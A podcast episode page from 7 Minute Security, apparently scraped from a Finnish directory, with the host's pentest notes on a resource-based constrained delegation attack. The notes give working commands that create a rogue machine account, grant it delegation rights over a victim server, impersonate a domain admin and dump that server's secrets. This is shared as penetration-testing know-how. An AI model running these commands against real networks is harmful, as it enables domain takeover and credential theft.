7MS #521: Tales of Pentest Pwnage - Part 36
7 Minute Security20 Touko 2022

7MS #521: Tales of Pentest Pwnage - Part 36

Hey friends! Today's another swell tale of pentest pwnage, and it's probably my favorite one yet (again)! This tale involves resource based constrained delegation, which is just jolly good evil fun! Here are my quick notes for pwning things using RBCD:

# From non-domain joined machine, get a cmd.exe running in the context of a user with ownership rights over a victim system: runas /netonly /user:domain\some.user cmd.exe # Make new machine account: New-MachineAccount -MachineAccount EVIL7MS -Password $(ConvertTo-SecureString 'Muah-hah-hah!' -AsPlainText -Force) -Verbose # Get the SID: $ComputerSid = Get-DomainComputer -Identity EVIL7MS -Properties objectsid | Select -Expand objectsid # Create raw descriptor for fake computer principal: $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) # Apply descriptor to victim machine: Get-DomainComputer SERVER-I-WANT-2-PWN | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose # Get a service ticket for the EVIL7MS box and impersonate a domain admin ("badmin") on the SERVER-I-WANT-2-PWN box: getst.py -spn cifs/SERVER-I-WANT-2-PWN -impersonate badmin -dc-ip 1.2.3.4 domain.com/EVIL7MS$:Muah-hah-hah! # Set the ticket export KRB5CCNAME=badmin.ccache # Dump victim server's secrets! secretsdump.py -debug k SERVER-I_WANT-2-PWN

Also, on the relaying front, I found this blog from TrustedSec as well as this article from LummelSec to be amazing resources.

Looking for an affordable resource to help you in your pentesting efforts? Check out our Light Pentest LITE: ebook Edition!

Jaksot(713)

7MS #25: Writing Better Pentest Reports (audio)

7MS #25: Writing Better Pentest Reports (audio)

This episode talks about some pointers, tools and tips towards writing better pentest reports. Download: 7MS #25: Writing Better Pentest Reports (audio)

23 Elo 20148min

7MS #24: Why Wireless Scares Me (audio)

7MS #24: Why Wireless Scares Me (audio)

This episode is all about why you should (probably not) use wireless hotspots, and keeping yourself safe in general when surfing the Web. Download: 7MS #24: Why Wireless Scares Me (audio)

16 Elo 20147min

7MS #23: OSCP – part 2 (audio)

7MS #23: OSCP – part 2 (audio)

In this episode I talk more about my adventures with OSCP and Offensive Security! . Download: 7MS #23: OSCP – part 2 (audio) Show notes: I recommend documenting ALL the exercises in the PDF. My unders...

9 Elo 20147min

7MS #22: Phishing with Black Squirrel (audio)

7MS #22: Phishing with Black Squirrel (audio)

In this episode I talk about using Black Squirrel to launch phishing campaigns! Download: 7MS #22: Phishing with Black Squirrel (audio) Show notes: Security Weekly is an excellent podcast/resource. De...

27 Heinä 20147min

7MS #21: OSCP – part 1 (audio)

7MS #21: OSCP – part 1 (audio)

In this episode I talk about my venture into Offensive Security! . Download: 7MS #21: OSCP – part 1 (audio) Show notes: It's official – I have a death wish and have started the OSCP training. This epi...

20 Heinä 20147min

7MS #20: Moving from GoDaddy to DNSimple (audio)

7MS #20: Moving from GoDaddy to DNSimple (audio)

In this episode I talk about why I'm pulling my domains from GoDaddy, and making DNSimple their new home. Download: 7MS #20: Moving from GoDaddy to DNSimple (audio) Show notes: The service I'm talking...

15 Heinä 20147min

7MS #19: Kioptrix! (audio)

7MS #19: Kioptrix! (audio)

In this episode I talk about a deliciously vulnerable series of VMs called Kioptrix, and how you can use them to sharpen your pentesting skills. Download: 7MS #19: Kioptrix! (audio) Show notes: The Ki...

5 Heinä 20147min

7MS #18: Wireless Security 101 (audio)

7MS #18: Wireless Security 101 (audio)

In this episode I talk about some wireless security basics that we're not seeing when out on assessments. Download: 7MS #18: Wireless Security 101 (audio) Show notes: WEP encryption is very, very bad....

22 Kesä 20147min

Suosittua kategoriassa Politiikka ja uutiset

uutiscast
aikalisa
ootsa-kuullut-tasta-2
politiikan-puskaradio
rss-ootsa-kuullut-tasta
tervo-halme
rss-vaalirankkurit-podcast
viisupodi
et-sa-noin-voi-sanoo-esittaa
rss-podme-livebox
rss-asiastudio
otetaan-yhdet
rss-girls-finish-f1rst
rikosmyytit
the-ulkopolitist
rss-raha-talous-ja-politiikka
rss-kaikki-uusiksi
rss-polikulaari-pitka-kiekko-ja-muut-ts-podcastit
rss-vain-talouselamaa
rss-tekkipodi